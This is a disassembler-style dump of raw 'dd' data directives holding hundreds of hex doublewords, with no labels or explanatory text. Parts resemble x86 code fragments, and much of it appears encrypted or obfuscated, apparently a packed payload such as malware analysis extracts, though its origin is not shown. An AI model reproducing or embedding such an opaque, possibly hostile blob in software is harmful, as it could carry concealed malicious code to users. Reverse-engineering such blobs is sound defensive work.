		dd 0F6731266h, 9721AF68h, 88A2D006h, 80AC3B38h,	0BDDDAC95h
		dd 1845A6B8h, 0EDD788A8h, 19FA0651h, 2CBA2A70h,	6EE6A532h
		dd 1FECC88Bh, 1D78E703h, 3C8DD441h, 840017A3h, 0EFF8368h
		dd 1B3D3750h, 3C79DCE9h, 53FA2919h, 1EEh, 0D4D0F469h, 64A0A4BBh
		dd 0B773550Bh, 0C33F1958h, 0C88B2A4h, 0BDA53EE1h, 6AF00F8Bh
		dd 1E435C58h, 0D791EE2Ah, 0C86735F1h, 0C57232BCh, 0E9C14792h
		dd 0AE1C781h, 2F094847h, 0DA4B42DCh, 0BFDA056Ah, 0EB66A799h
		dd 2418415Ch, 0D832EBE5h, 0D5458AC6h, 81434ED9h, 0FB5059AFh
		dd 0DFEA2EF2h, 98AD6D90h, 0D421C111h, 35C00F64h, 0D31C1146h
		dd 4C2BA282h, 4AD43709h, 0D3884D43h, 0A3BF7312h, 1F167864h
		dd 4847AE37h, 47DB3012h, 0CB65D546h, 0C817B395h, 54B791CDh
		dd 0A14CC3CAh, 0FF640612h, 119AE5Dh, 0DB1D0888h, 0ED30B070h
		dd 0E47A5177h, 0E3C36D7Bh, 0A8B6A060h, 3E8EBF0Ch, 799AA631h
		dd 8CBE517Fh, 0D4370951h, 0E2A12E4Ah, 8C1B4462h, 0B75FCE60h
		dd 85390FBAh, 78C89719h, 0B06E9F83h, 65F81D57h,	5AF68863h
		dd 0A1312728h, 9ACD1E15h, 0FEh,	0C4C00459h, 1490B4ABh
		dd 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h, 7AE03FFBh
		dd 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0C57322CCh, 0F9D15792h
		dd 0AE1C781h, 5B84E959h, 0C6EE744Dh, 1B978B8Ah,	36CB910Ch
		dd 0B3CF1C22h, 1F393817h, 0D30D7DEEh, 3F2E2BC5h, 8426326Dh
		dd 0F96D3F2Eh, 5B849A61h, 3F2EA34Dh, 2C48D66Dh,	960C95A3h
		dd 2C63730Eh, 517F3EE1h, 674DC6DFh, 9C3ACB2h, 69F61263h
		dd 64BC063Ah, 0B178FAA5h, 2E306FE2h, 0CCABB714h, 0C658B395h
		dd 9EB8B8C7h, 65430562h, 64484A86h, 0DE573351h,	5934EAh
		dd 6DD855EFh, 254144B8h, 3EDB9DE4h, 418E2A1Ch, 0E0291F42h
		dd 4563E502h, 7C581B66h, 8478FDAFh, 9410362Eh, 0CDFF97Bh
		dd 2945h, 6C2BB600h, 6709D7E9h,	1A3361F8h, 23CDDB04h, 563361F8h
		dd 5EC5C1C8h, 0BE082F1h, 6199CBAh, 0EB8370FAh, 0F9150594h
		dd 0DC818A30h, 84BC03E8h, 6DF249A2h, 312D705Bh,	0F169B417h
		dd 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h,	5308D833h
		dd 0C381E389h, 4, 5304EB83h, 42474FFh, 24048F5Bh, 5514685Ch
		dd 34890000h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 50241C89h, 2F57D268h, 0FE355804h, 5526C463h,	8671E1BDh
		dd 5DE8210Fh, 79390548h, 0C68903ACh, 1C8B5458h,	4C48324h
		dd 55F08950h, 6B89C589h, 0FF585D08h, 815B2434h,	4C4h, 2434FF00h
		dd 4C4815Eh, 0E9000000h, 0FFFCCA40h, 0B4FBB89Ah, 0C503062Eh
		dd 86AEE0FFh, 49CA1AC9h, 45121B8Ch, 624D41F8h, 0AAAA25FAh
		dd 0FB0C0E55h, 0ED304E9Ch, 8940727Ah, 39EB5CEEh, 0C00000h
		dd 0C002CCh, 0C002E4h, 0
		dd 4403AA8Eh, 751AA63Ah, 210BAED7h, 4C00AA28h, 4D0AEDC2h
		dd 7520C3BBh, 21228FAFh, 5121B7BBh, 493AAD9Fh, 450FA60Fh
		dd 2104A3BEh, 216D2B08h, 7E4EC3AFh, 5DE79C14h, 65EFC7CFh
		dd 2178C7D1h, 7629C3FAh, 0B85A9ABEh, 248B4637h,	0E1E5C574h
		dd 3D3F5F16h, 0D8D340F5h, 2168E8EAh, 9CEDCA80h,	2745D573h
		dd 7177B77Dh, 99AE48EDh, 216EC7E6h, 3AEF4626h, 0BCE3C5FCh
		dd 27437C9Eh, 7935100Ah, 37E77E79h, 556EC556h, 993D93A9h
		dd 216EC7E6h, 3AEF4626h, 0BCE3C5FCh, 27437F8Fh,	7935100Ah
		dd 0C93BC390h, 216EC37Eh, 7CAD9E9Eh, 254AAFD6h,	254A872Eh
		dd 216EC3C2h, 9DAD96AEh, 0B4DB485Ch, 0AA68E8F0h, 706EA9BDh
		dd 216EC056h, 0E237E35Fh, 5224AF6h, 52A42D3h, 216EDEEFh
		dd 0E23F82F5h, 0D3C2E542h, 795FBE64h, 0AE613301h, 216EC35Ch
		dd 0E727112Fh, 0A5DEE52h, 210495EDh, 216D2BA5h,	794EC3FAh
		dd 65E79BBEh, 65EFC79Ah, 217BC77Bh, 712EC3AFh, 49BC2814h
		dd 0C07B50B1h, 36257993h, 294AF77Bh, 4B137E56h,	228691BEh
		dd 16EC35Fh, 0A83400F5h, 0A06AE783h, 356AE7AFh,	636EC3F5h
		dd 2E9000A8h, 216ECEFEh, 21662ABEh, 3514C35Fh, 0F66B2692h
		dd 9491912Bh, 2745D836h, 370F767Eh, 0A4E3C5D1h,	27404096h
		dd 0C939C3D4h, 216EC35Ch, 7EAD9C8Fh, 254ABF5Eh,	254A876Ah
		dd 216EC3E9h, 0A8AD94BDh, 0DD3A012Ah, 81CC6787h, 0F19186EEh
		dd 216EC646h, 29395CD7h, 2504BDDFh, 0C938C39Fh,	216EC3F9h
		dd 7FAD9D5Dh, 254AB737h, 254A87DEh, 216EC3B7h, 0AAD9591h
		dd 0BA6015E5h, 8097079Dh, 0EAE5A516h, 1D4AC7FCh, 0A7D9DA8h
		dd 0A7562E2h, 8DBEAA9h,	4968E8DDh, 27B86597h, 216ED21Dh
		dd 63C8ABFAh, 6C081182h, 0FD591408h, 0CD4F4D21h, 0AA08E371h
		dd 15EF9D1Fh, 0F7CA53CFh, 776EA9F3h, 216EC012h,	0E230E37Dh
		dd 51A4AE0h, 52A425Bh, 216EDAABh, 0E23885D7h, 108CC31h
		dd 2B87ABD1h, 576EC3FAh, 807A8D9Dh, 52DC053Ah, 2E6EA9B7h
		dd 0F1911218h, 0DAD77CB1h, 94CA4662h, 2104C5DBh, 216D2BA9h
		dd 7A4EC37Dh, 7DE7987Dh, 65EFC77Bh, 217AC78Bh, 722DC3D7h
		dd 0A0087228h, 0AAC5B03Ch, 23A2C602h, 0A4E7C37Dh, 27407616h
		dd 0A87603DCh, 0FDB6F2Ah, 98AEF0D1h, 216EC107h,	21046906h
		dd 216D2BAAh, 794EC37Dh, 65E79B7Dh, 65EFC77Bh, 217BC78Bh
		dd 712EC3D7h, 0A8416628h, 0A5B9270h, 766EA9FCh,	216EC095h
		dd 0E231E3BEh, 5124A00h, 52A42ABh, 216ED5D3h, 0E23984EBh
		dd 0A8E151FAh, 0A41F677h, 0CEB057Bh, 6268E88Dh,	55776D6h
		dd 2586C584h, 7F6EC3D7h, 47F2A480h, 7194074Ah, 216EC813h
		dd 7F0A457Dh, 8BA86F64h, 4433FA68h, 254A8724h, 216ED73Fh
		dd 0B53165EBh, 0B04A64E7h, 87AC2A84h, 91F36939h, 0F3B00D23h
		dd 7FA04810h, 0CDE4C324h, 254A875Eh, 4B363060h,	228691F5h
		dd 16EC3FAh, 0A8340027h, 0A06AE7EAh, 3C6AE71Bh,	636EC3AFh
		dd 0DCCE0085h, 8D2CF62Fh, 6D59847Bh, 0AB7D317Bh, 9491BDE4h
		dd 2745D863h, 0C746D6h,	0A4E3C584h, 2740403Ch, 0C93FC381h
		dd 216EC3F6h, 78AD9ADAh, 254A8FF4h, 254A873Fh, 216EC348h
		dd 3DAD92EEh, 20353151h, 0A466E6Eh, 4BBE3CF3h, 228694FAh
		dd 16EC37Dh, 0A83100E1h, 0A06AE723h, 386AE7EBh,	666EC3D7h
		dd 0A23700BCh, 77CAEE76h, 216ED312h, 43E4AC7Dh,	1F4EC350h
		dd 5C87E0ADh, 0FD1E846Eh, 0CDBEAF6h, 7E68E8F5h,	28B7467Ch
		dd 2104C5D1h, 216D2B2Ah, 7E4EC3BEh, 5DE79C9Ch, 65EFC78Bh
		dd 2173C7F3h, 7629C3EBh, 0F47F7C36h, 495A2171h,	0AC470D93h
		dd 0A5D5E3Bh, 0F0DB4A59h, 0A868E89Dh, 0A5A2252h, 3CE34AEDh
		dd 7668E8F5h, 21684CF5h, 9C47C37Dh, 2745EDDBh, 0CEB0501h
		dd 7268E89Ch, 0C939C3BDh, 216EC3E8h, 7EAD9CD5h,	254ABF73h
		dd 254A87FCh, 216EC3A7h, 0AAD9418h, 0A6E828B0h,	0E8D3F213h
		dd 4768E8EEh, 25863A7Eh, 0F96EC3FAh, 9B927235h,	0DCFD669h
		dd 39E9CC0Fh, 0C86EC3AFh, 216EC3C4h, 7440FCAh, 0DBBDB23Bh
		dd 0FE69F629h, 2673C160h, 0AAED9E09h, 0AA6AE71Bh, 0C86E4878h
		dd 216EC3DDh, 0CFBEAF8Eh, 45B83733h, 65E73854h,	82D0C759h
		dd 7904795Ch, 15E37E6Eh, 9491C584h, 2745D80Ah, 0C939C381h
		dd 216EC3F6h, 7EAD9CDAh, 254ABFF4h, 254A873Fh, 216EC342h
		dd 0EAD94E8h, 8CA5B4AAh, 0F21370C5h, 0CAEB4E93h, 4B68ED79h
		dd 2286957Dh, 16EC3BEh,	0A8300001h, 0A06AE7DBh,	366AE793h
		dd 676EC3EBh, 0D4EF00A3h, 2687F84Dh, 976EC37Dh,	0A927D1F0h
		dd 0F19146C6h, 0C93FC3C5h, 216EC3D4h, 78AD9ACBh, 254A8F7Ch
		dd 254A877Bh, 216EC364h, 33AD92FFh, 79AB0131h, 0ACE7A35Ch
		dd 2745EF56h, 64EB4A8Ah, 4168E8DCh, 65477A9Ch, 216ED795h
		dd 640B17BEh, 0B28084E0h, 55C0041Eh, 0C81FA7F8h, 94E7EDC8h
		dd 78BF48B2h, 0F8F34A9Bh, 0E768E856h, 0A5DEE3Bh, 21049059h
		dd 216D2BFFh, 794EC3D7h, 65E79B28h, 65EFC7D1h, 2175C7DEh
		dd 712EC37Dh, 41FC857Dh, 0A25A38A4h, 0F656AB43h, 2F8602EAh
		dd 536EC3EBh, 0BCCED090h, 586AF744h, 0B66C5C88h, 0D8E5A584h
		dd 56A4201h, 37B42ED4h,	0E4E10C56h, 9491D3D7h, 2745D828h
		dd 0A4E35948h, 27404096h, 0C93BC3D4h, 216EC35Ch, 7CAD9E8Fh
		dd 254AAF5Eh, 254A876Ah, 216EC3E3h, 90AD96BFh, 470E1D61h
		dd 0B190053Fh, 6B04239h, 0F191A286h, 0C939C3BDh, 216EC3E8h
		dd 7EAD9CD5h, 254ABF73h, 254A87FCh, 216EC3A9h, 0ADAD9418h
		dd 0A8E5D99Ah, 0A6FB652h, 0D1D9CCEDh, 12434633h, 4B29C5D1h
		dd 2286957Dh, 16EC3BEh,	0A8300001h, 0A06AE7DBh,	3C6AE793h
		dd 676EC3EBh, 705400A3h, 0D618E169h, 14DC0B16h,	762579D8h
		dd 3D6356D6h, 7E06C584h, 76E91C1Fh, 0A0349CBCh,	3424E7F1h
		dd 0A461EC05h, 216EC37Bh, 0F6B7E35h, 9491C574h,	2745D872h
		dd 0C939C3BDh, 216EC3E8h, 7EAD9CD5h, 254ABF73h,	254A87FCh
		dd 216EC3ABh, 0CEAD9418h, 60A942D0h, 0AC7A8235h, 0FED286Eh
		dd 0A8A249F3h, 0A7F6277h, 4BBE3C7Bh, 228692BEh,	16EC35Fh
		dd 0A83700F6h, 0A06AE79Bh, 346AE7AFh, 606EC3F5h, 202D00ABh
		dd 216EC494h, 0F67CE7BEh, 841717ECh, 0F8ECE16h,	78E348EEh
		dd 0A868E8E2h, 0A612670h, 60DB48FCh, 0E768E865h, 0A5DEE3Bh
		dd 21048459h, 216D2BF8h, 7E4EC3D7h, 5DE79C28h, 65EFC7D1h
		dd 2179C7DEh, 7629C37Dh, 4827D67Dh, 1CFB4806h, 4968E8B3h
		dd 0FF0E708Fh, 11807C8Dh, 34AF774h, 28317F59h, 0A7356F0h
		dd 0FCDB3CB8h, 2E68E844h, 216EC120h, 0ACBE48D7h, 0FED286Eh
		dd 44D348F3h, 0DE68E8DEh, 40EB4AADh, 4768E8A1h,	0E2DB05DEh
		dd 12434669h, 4B29C5FCh, 228693EBh, 16EC3F5h, 0A83600A2h
		dd 0A06AE739h, 386AE7FAh, 616EC35Fh, 0A81900FFh, 926DCB0Bh
		dd 0A4EB4A12h, 0C968E8E4h, 216EC3FEh, 8BA3FF20h, 2E3C93E9h
		dd 2E3C936Eh, 7B36999Eh, 0AA3E998Fh, 2E6AE7AFh,	216EC674h
		dd 835B7DFAh, 21E5FE30h, 216ED156h, 33EF455Fh, 292CFA9Dh
		dd 92A05BEEh, 0B86B9C76h, 0AA733FEDh, 65E79D32h, 0D0E5C759h
		dd 949136E6h, 2745D882h, 27277626h, 0A4E3C5FCh,	27404000h
		dd 1C77E7Eh, 0F191C5D1h, 0C93FC317h, 216EC3BDh,	78AD9A7Fh
		dd 254A8F26h, 254A8756h, 216EC3FCh, 50AD92B4h, 0A802E858h
		dd 0A6556C0h, 2CEB4AB8h, 0AA68E85Ah, 0A4AEA12h,	0A8BE3CD1h
		dd 0A402A56h, 20F34AF3h
		dd 0A868E8D0h, 0A7806F8h, 8FBE0B8h, 4768E849h, 21041B23h
		dd 216D2B85h, 7B4EC3EBh, 75E79936h, 65EFC7DEh, 2179C759h
		dd 732CC3BEh, 0CB98929Ch, 0F0DB4851h, 568E8F3h,	736EA9EFh
		dd 216EC01Dh, 0E234E3FAh, 53A4A27h, 52A42BAh, 216EDA5Bh
		dd 0E23C81AFh, 0F885409h, 0AA08E0DDh, 2EAEC93Dh, 216D9A7Eh
		dd 24D3C07Dh, 0E768E8A7h, 0A5DEEDAh, 21048CA9h,	216D2B87h
		dd 794EC3EBh, 65E79B36h, 65EFC7DEh, 217AC759h, 712EC3BEh
		dd 0C93FEE9Ch, 216EC3A8h, 0C866D1D0h, 2025B60Fh, 0A72E278h
		dd 49379AFCh, 0C0677F5Bh, 7E8049E8h, 0C34AF7DEh, 4B304A7Fh
		dd 228693D7h, 16EC3EBh,	0A83600ADh, 0A06AE7BEh,	346AE739h
		dd 616EC3BEh, 1D72000Fh, 216ECD47h, 0FD0BF6D7h,	35BFD06Fh
		dd 94864B97h, 2EBBF22Ah, 216ED7F0h, 21602BBEh, 0DA03C35Fh
		dd 95DA0619h, 0E3FFC3D2h, 0BB043055h, 94919DAAh, 2745D827h
		dd 3F0B56F6h, 0A4E3C595h, 274040B4h, 216D40A0h,	9661C3D7h
		dd 4BBE3C3Bh, 228696F5h, 16EC3FAh, 0A8330020h, 0A06AE7D2h
		dd 356AE71Bh, 646EC3AFh, 0AAE60082h, 0A77025Eh,	5AE40F3h
		dd 0C93EC390h, 216EC37Eh, 79AD9B9Eh, 254A87D6h,	254A872Eh
		dd 216EC3C1h, 8BAD93ABh, 0A8614F52h, 216EC3EDh,	21672B1Dh
		dd 0EE14C3BEh, 7397DB93h, 7AA4364Dh, 3C637E5Eh,	0A80FC5C0h
		dd 0A67DE70h, 736EA9FCh, 216EC095h, 0E234E3BEh,	53A4A05h
		dd 52A42ABh, 216ED9D3h,	0E23C81EBh, 29CB45DCh, 9F665E08h
		dd 7DE4834Ah, 37AB4635h, 6AD4C574h, 9E1F50A6h, 4584F721h
		dd 24635E60h, 9E61C5DEh, 9B088032h, 3AE564E2h, 38F348DEh
		dd 9368E855h, 3AE5A2B6h, 2AD3565Ch, 945FC5C0h, 2745F164h
		dd 9E61D871h, 4BB6F086h, 228694BEh, 16EC35Fh, 0A83100F0h
		dd 0A06AE7ABh, 3B6AE7AFh, 666EC3F5h, 3DB800ADh,	6A927D68h
		dd 0B4E5909Dh, 2745EF7Ah, 0ACF34AF0h, 0AA68E8F2h, 0A729A66h
		dd 4E348F3h, 0E768E8DAh, 0A5DEEF8h, 0C99B84B8h,	216EC35Bh
		dd 96B01E06h, 216ED73Fh, 0BB3952EBh, 3D45F191h,	50BC83A2h
		dd 0ADD107F2h, 0CB8B837Fh, 7B9F4814h, 21662AFFh, 0B890C3D7h
		dd 47052608h, 65E52481h, 21E5C7DEh, 65E730F6h, 0A961C79Ah
		dd 216EC35Fh, 766EA9F7h, 216EC03Fh, 0E231E3EBh,	5124AAAh
		dd 52A42FEh, 216EDE79h,	0E23984BEh, 2C9A1054h, 6CA0491Ch
		dd 0C83F83D9h, 216EC3E1h, 755C8C2Bh, 64BE2AD6h,	0A0308A01h
		dd 0B9D00E6Fh, 0FCDB3C17h, 4B68E8B4h, 228694D7h, 16EC3EBh
		dd 0A83100AAh, 0A06AE786h, 3A6AE739h, 666EC3BEh, 0AF580008h
		dd 0ADAFE3C6h, 2686D274h, 5F6EC3EBh, 3B85E061h,	94E5EA9Bh
		dd 2745DF0Ch, 0CAEB4EE4h, 4B68EDDCh, 228692AFh,	16EC3D7h
		dd 0A83700B2h, 0A06AE7B9h, 3C6AE7BEh, 606EC37Dh, 0AAAE00EFh
		dd 530081F0h, 880B336Bh, 26134E5Eh, 0F191C5C0h,	71B5E7Ch
		dd 0A4E7C5D1h, 2745CC98h, 0C938C3D4h, 216EC35Ch, 7FAD9D8Fh
		dd 254AB75Eh, 254A876Ah, 216EC3E0h, 30AD95BCh, 94458334h
		dd 2745C893h, 0AA96C3D4h, 0A89C48AFh, 0A6E1E52h, 736EA9EDh
		dd 216EC01Dh, 0E234E3FAh, 53A4A27h, 52A42BAh, 216ED95Bh
		dd 0E23C81AFh, 48ADBB2Eh, 0C868E1E8h, 216EC3F9h, 425E4677h
		dd 467194C1h, 7A7983BDh, 8E756D4h, 1E87C584h, 4B6EC3D6h
		dd 228693EBh, 16EC3F5h,	0A83600A2h, 0A06AE739h,	386AE7FAh
		dd 616EC35Fh, 929000FFh, 4F9FE29Ah, 283F4EEAh, 0A4E3C5DEh
		dd 27407630h, 0C93DC317h, 216EC3BDh, 7AAD987Fh,	254A9F26h
		dd 254A8756h, 216EC3F0h, 87AD90B6h, 0CF4E939Dh,	0AAFC1C2Bh
		dd 0A75C62Bh, 9E089359h, 25E7DAE2h, 766EA9F3h, 216EC003h
		dd 0E231E3F5h, 5124AA5h, 52A4279h, 216ED7BAh, 0E239845Fh
		dd 0ACFB3C57h, 0A168E8C9h, 0BCE30B2Eh, 27407625h, 0C939C390h
		dd 216EC37Eh, 7EAD9C9Eh, 254ABFD6h, 254A872Eh, 216EC3C0h
		dd 0A2AD94ACh, 2E3D7608h, 216EC573h, 48DB487Dh,	7168E898h
		dd 3DE73AD4h, 0F8F3EA8Bh, 7168E8C0h, 0AFCD7D8Dh, 4B4AC77Ch
		dd 228695FAh, 16EC37Dh,	0A83000E0h, 0A06AE72Bh,	3C6AE7EBh
		dd 676EC3D7h, 0E11E00BDh, 0CB08AAB9h, 0D77EFDB4h, 216ED394h
		dd 738BBBBEh, 43607C69h, 6F9AFD65h, 2E5D4D77h, 30FB3C72h
		dd 4B68E8EEh, 228696FAh, 16EC37Dh, 0A83300E3h, 0A06AE733h
		dd 396AE7EBh, 646EC3D7h, 114A00BEh, 0C8B5823Dh,	216EC3FCh
		dd 0F7DDDA5Dh, 0A4E72F67h, 2745CA42h, 3EA77626h, 0A4A8C5FCh
		dd 2745F0C6h, 746EA9A6h, 216EC012h, 0E233E37Dh,	5024AE3h
		dd 52A425Bh, 216ED8ABh,	0E23B86D7h, 66442C1Fh, 2FB43326h
		dd 3F5F7E71h, 0A661C556h, 216EC3A6h, 216ED0B6h,	423EC3AFh
		dd 8609C04Bh, 95852688h, 0B637B6B7h, 0E39E8841h, 38CE9A15h
		dd 21642B44h, 3FFBC35Fh, 946B508Dh, 0D19755BCh,	216EC502h
		dd 0A58A71F5h, 7ED87121h, 74AF7FCh, 4B3E5D9Ah, 2286955Fh
		dd 16EC3AFh, 0A8300089h, 0A06AE79Fh, 376AE7B1h,	676EC3FAh
		dd 8A7002Bh, 0DEA0489Fh, 0A751EEAh, 766EA9A9h, 216EC03Fh
		dd 0E231E3EBh, 5124AAAh, 52A42FEh, 216ED879h, 0E23984BEh
		dd 2F60305Dh, 0BBE1646Ch, 0ABB4E5Ch, 0A4E3C5C0h, 2740401Eh
		dd 0C93FC390h, 216EC37Eh, 78AD9A9Eh, 254A8FD6h,	254A872Eh
		dd 216EC3CDh, 53AD92AAh, 0A53BE04Bh, 0F1919E50h, 0C93FC317h
		dd 216EC3BDh, 78AD9A7Fh, 254A8F26h, 254A8756h, 216EC3F0h
		dd 27AD92B4h, 4C9FFDEBh, 0A16DFDEEh, 0A4E7AA48h, 2745C6BEh
		dd 0C93CC3C5h, 216EC3D4h, 7BAD99CBh, 254A977Ch,	254A877Bh
		dd 216EC361h, 0DAAD91FCh, 391AA280h, 0D2A01BBEh, 0AA574D8h
		dd 0A70F266h, 0CEB05F3h, 6668E8C9h, 0CCEEA4CCh,	57D6AB4Fh
		dd 0AA086D12h, 55A427Ch, 2E51A0FFh, 0C939C381h,	216EC3F6h
		dd 7EAD9CDAh, 254ABFF4h, 254A873Fh, 216EC348h, 34AD94E8h
		dd 471D23E6h, 94910B60h, 2745D828h, 147B4E73h, 0ACE5C556h
		dd 2745E62Fh, 0A28546D2h, 2104C581h, 216D2B84h,	7A4EC3EBh
		dd 7DE79836h, 65EFC7DEh, 217BC759h, 722DC3BEh, 203F9C9Ch
		dd 0A5E8632h, 28BE3CD1h, 0A6CA25Eh, 0A8A049F3h,	0A7B967Fh
		dd 0F0E5A57Bh, 12434678h, 203DC574h, 0A747E22h,	64DB48D1h
		dd 0C968E8C1h, 216EC3F1h, 0B8579C6Ah, 473E13F6h, 65E51235h
		dd 0C80EC77Bh, 216EC3BFh, 0D817C30Ah, 0FC6BE82Ah, 95C12EDFh
		dd 0A438E72Ch, 0FBE4912Dh, 7934F2B1h, 476E483Eh, 65E73224h
		dd 0AA0EC7F3h, 21692A3Dh, 0A20BC3F5h, 4FFE7ED5h, 4B36A2ADh
		dd 228693BEh, 16EC35Fh,	0A83600F7h, 0A06AE793h,	3B6AE7AFh
		dd 616EC3F5h, 0BC6D00AAh, 0AC9B7452h, 0FCDB3CE5h, 4B68E844h
		dd 228690AFh, 16EC3D7h,	0A83500B0h, 0A06AE7A9h,	366AE7BEh
		dd 626EC37Dh, 0F10200EDh, 0A4E305B1h, 27404044h, 216ED33Eh
		dd 0E4A8B2EBh, 0A53D5971h, 520CC2E2h, 0CF243BE5h, 47BE3CE6h
		dd 0C19421DEh, 0B5E79C9h, 65F465Eh, 2C87C5C0h, 886EC3F5h
		dd 67021079h, 150C0BC6h, 927E6256h, 12434699h, 4B39C584h
		dd 228693D7h, 16EC3EBh,	0A83600ADh, 0A06AE7BEh,	3D6AE739h
		dd 616EC3BEh, 0BC1E000Fh, 9548D3A1h, 49C9E308h,	0F07B5DD4h
		dd 216ED11Ch, 6FA541FAh, 8AA53670h, 31B66FBh, 0B7420867h
		dd 0A0A1C0ABh, 0ED57E7E3h, 210482FAh, 216D2BA7h, 7B4EC3FAh
		dd 75E799BEh, 65EFC79Ah, 2173C77Bh, 732CC3AFh, 3A950314h
		dd 431B2686h, 0C99833AAh
		dd 216EC3EBh, 0E646E79Dh, 33156451h, 0F3E164Bh,	680ED357h
		dd 0BCF3EA19h, 7B68E8C1h, 0DEA674FAh, 0A751E4Fh, 0F0EFA57Bh
		dd 0A4E305EFh, 274040B4h, 0C0FB4856h, 0DE68E8D7h, 726EA93Bh
		dd 216EC01Dh, 0E235E3FAh, 5324A26h, 52A42BAh, 216EDB5Bh
		dd 0E23D80AFh, 896401F2h, 27E1CCA4h, 0AA6EC3F5h, 0A42E647h
		dd 88EB4A7Bh, 0E768E8AFh, 0A5DEEDAh, 210480A9h,	216D2B82h
		dd 7C4EC3EBh, 4DE79E36h, 65EFC7DEh, 2175C759h, 742BC3BEh
		dd 7C0F459Ch, 42371A32h, 0E71CAB20h, 4ED12147h,	0A05E5168h
		dd 9734E7CEh, 21049D41h, 216D2BEEh, 794EC35Fh, 65E79B6Ch
		dd 65EFC7F3h, 2176C7CFh, 712EC3F5h, 0EEC7DF39h,	2D8739F8h
		dd 0C46EC3BEh, 505A32F8h, 49108F6h, 0DEFBB022h,	0A751E5Eh
		dd 6CD34AF3h, 0AC68E8F6h, 0FED28F8h, 766EA9B8h,	216EC0B7h
		dd 0E231E3AFh, 5124A88h, 52A42EFh, 216ED8F1h, 0E23984FAh
		dd 0B7380414h, 6C19540h, 216EC5B6h, 5A24BCAFh, 108F3E40h
		dd 0A709276h, 4BBE3CF3h, 228690FAh, 16EC37Dh, 0A83500E5h
		dd 0A06AE703h, 3B6AE7EBh, 626EC3D7h, 45900B8h, 4643CFC8h
		dd 0F0F34A5Bh, 0A868E865h, 0A6F223Bh, 736EA959h, 216EC047h
		dd 0E234E3D7h, 53A4AB1h, 52A42F1h, 216ED7FEh, 0E23C817Dh
		dd 14DBE807h, 0AC68E870h, 0FDB032Ah, 217F2BD1h,	0EB33C3EBh
		dd 8239E31Ah, 144283C8h, 6B5F5C47h, 47B1D323h, 0CC5A29DEh
		dd 59DF53F6h, 9A08A387h, 47399D8Fh, 4037107Eh, 76B77C6Ah
		dd 0B491F060h, 2745DD33h, 216EC6B6h, 463203AFh,	0F9E5A1A1h
		dd 216ECF02h, 1ED775F5h, 2FB161E7h, 0B40D143Fh,	95EB4ED2h
		dd 4B68EDEAh, 228691AFh, 16EC3D7h, 0A83400B1h, 0A06AE7A1h
		dd 3B6AE7BEh, 636EC37Dh, 0FACD00ECh, 224BC6DCh,	22EBCC11h
		dd 0A16EC3D7h, 71FE8F3Ah, 217E2AA7h, 53A6C3FAh,	7D763AD3h
		dd 0C1A811A1h, 1E7442E1h, 1061CDDBh, 30DCBF6Dh,	713699F3h
		dd 713C93A3h, 7B5FCCA8h, 715FCC25h, 7B5FCCECh, 7B369907h
		dd 766EA93Fh, 216EC03Fh, 0E231E3EBh, 5124AAAh, 52A42FEh
		dd 216EDA79h, 0E23984BEh, 324D3F09h, 0A4E713E9h, 2745F052h
		dd 21612A78h, 0D340C3F5h, 0EEDB4249h, 9DE9AD2Ch, 0E092FFA5h
		dd 733E938Fh, 216B4AA0h, 0A5D4C3D7h, 2E7A09F9h,	0B23699C4h
		dd 0C938C390h, 216EC37Eh, 7FAD9D9Eh, 254AB7D6h,	254A872Eh
		dd 216EC3CDh, 90AD95ADh, 0E1B1D7D9h, 0B45F53DFh, 2745E2E8h
		dd 0B49199ECh, 2745D84Eh, 0C939C3C5h, 216EC3D4h, 7EAD9CCBh
		dd 254ABF7Ch, 254A877Bh, 216EC365h, 0EAAD94F9h,	0AEDCC913h
		dd 216ED247h, 0B9F746D7h, 6313B3C5h, 9070C1D1h,	8BA97E1Eh
		dd 0A4E7E8C3h, 2745D1ABh, 719BA301h, 4031A2CFh,	1407465Eh
		dd 2104C5C0h, 216D2BA6h, 7A4EC3FAh, 7DE798BEh, 65EFC79Ah
		dd 2176C77Bh, 722DC3AFh, 0D412F14h, 9661A491h, 39E3CC0Eh
		dd 0C96EC3FAh, 216EC371h, 0C8D0BB30h, 9567325Dh, 591E4037h
		dd 30DB465Eh, 0E634C5C0h, 0A47CA70h, 216ECCFCh,	766EA97Dh
		dd 216EC056h, 0E231E35Fh, 5124AF0h, 52A42D3h, 216EDBEFh
		dd 0E23984F5h, 27036151h, 0DBE88Eh, 0DE68E88Dh,	0A5BAACAh
		dd 0A4E73FA9h, 2745D8F6h, 34A75662h, 0A4E5C5DEh, 2745CA23h
		dd 0E8125EF0h, 62E7C590h, 0BCD34E5Eh, 0AC68E89Ch, 0FA79562h
		dd 215D7AEDh, 859DC3F5h, 21D6F011h, 2A6EC37Dh, 0E36DB77Eh
		dd 65E5C347h, 0C93DCF8Bh, 216EC3D7h, 36AD42B0h,	0A86EC3F5h
		dd 0A87EE7A6h, 7A7AE739h, 81CEF406h, 0AA8E3C5Fh, 0DE6AE7EBh
		dd 0ED787C37h, 2104B64Fh, 216D2BA2h, 7E4EC3FAh,	5DE79CBEh
		dd 65EFC79Ah, 2177C77Bh, 7629C3AFh, 1808114h, 937FB237h
		dd 990EA260h, 1DA43D57h, 2FBB5EF4h, 0AC0FC595h,	0FDB77E2h
		dd 0FAE34EA9h, 9968ED1Eh, 0B94868DEh, 243F46C6h, 0EE45C5D1h
		dd 82104A3h, 0AF216D2Bh, 147E4EC3h, 0CF5DE79Ch,	0D165EFC7h
		dd 0FA2178C7h, 837629C3h, 0A4F305E9h, 6AD98Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0DA77B6C3h, 0C8F4509Bh, 71E9F5h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BE922C3h
		dd 0C8000000h, 0B0BBB57h, 9C496E3Bh, 60613221h,	12E9FCh
		dd 0A88A0000h, 49C28ACFh, 0E9626758h, 0F895C7FEh, 5D6C80A1h
		dd 6AC361h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 4C070CC3h, 0ECFAA286h, 60FCA3C9h,	8B61C18Bh
		dd 0DE9C0h, 2A000000h, 5827ED12h, 0A84972E5h, 8370DF84h
		dd 2B01F9BDh, 9750006h,	1689BD83h, 7400062Bh, 8B535019h
		dd 4B9B8C0h, 85890000h,	62B3479h, 0BFDC9D8Dh, 0D3FF062Dh
